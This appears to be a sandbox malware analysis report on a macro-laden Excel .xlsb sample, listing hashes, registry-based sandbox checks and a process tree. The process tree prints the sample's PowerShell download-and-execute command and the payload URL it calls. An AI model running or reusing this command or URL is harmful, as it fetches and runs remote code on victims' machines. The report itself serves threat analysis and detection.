Analysis
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max time kernel
136s -
max time network
159s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
31-12-2023 11:24
Behavioral task
behavioral1
Sample
34339f5f8f3b303aad00272edfa2827f.xlsb
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
34339f5f8f3b303aad00272edfa2827f.xlsb
Resource
win10v2004-20231215-en
General
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Target
34339f5f8f3b303aad00272edfa2827f.xlsb
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Size
69KB
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MD5
34339f5f8f3b303aad00272edfa2827f
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SHA1
e1273963b7b1b7613f77e0ce353c108ae7557968
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SHA256
f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9
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SHA512
fa74fab1b5762d712e61c465accd756b76d1a7c48a27f4b56e2f4298511f1ef8eb81d859763344fd7a14c57df5faa83db4c2bdb7f50c3c44e50582827fb17a4d
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SSDEEP
1536:7zTxsMK1oaZhV8nmSb4wjE7zF0Rhdv1hQzMrTsYm+kD:7HxsMGTkb4GE0DrTsSo
Malware Config
Extracted
http://54.202.26.55/oo
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2984 1852 cmd.exe 16 -
Blocklisted process makes network request 1 IoCs
flow pid Process 20 1532 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1852 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1532 powershell.exe 1532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1532 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1852 EXCEL.EXE 1852 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE 1852 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1852 wrote to memory of 2984 1852 EXCEL.EXE 75 PID 1852 wrote to memory of 2984 1852 EXCEL.EXE 75 PID 2984 wrote to memory of 1532 2984 cmd.exe 82 PID 2984 wrote to memory of 1532 2984 cmd.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\34339f5f8f3b303aad00272edfa2827f.xlsb"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\SYSTEM32\cmd.execmd /c powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82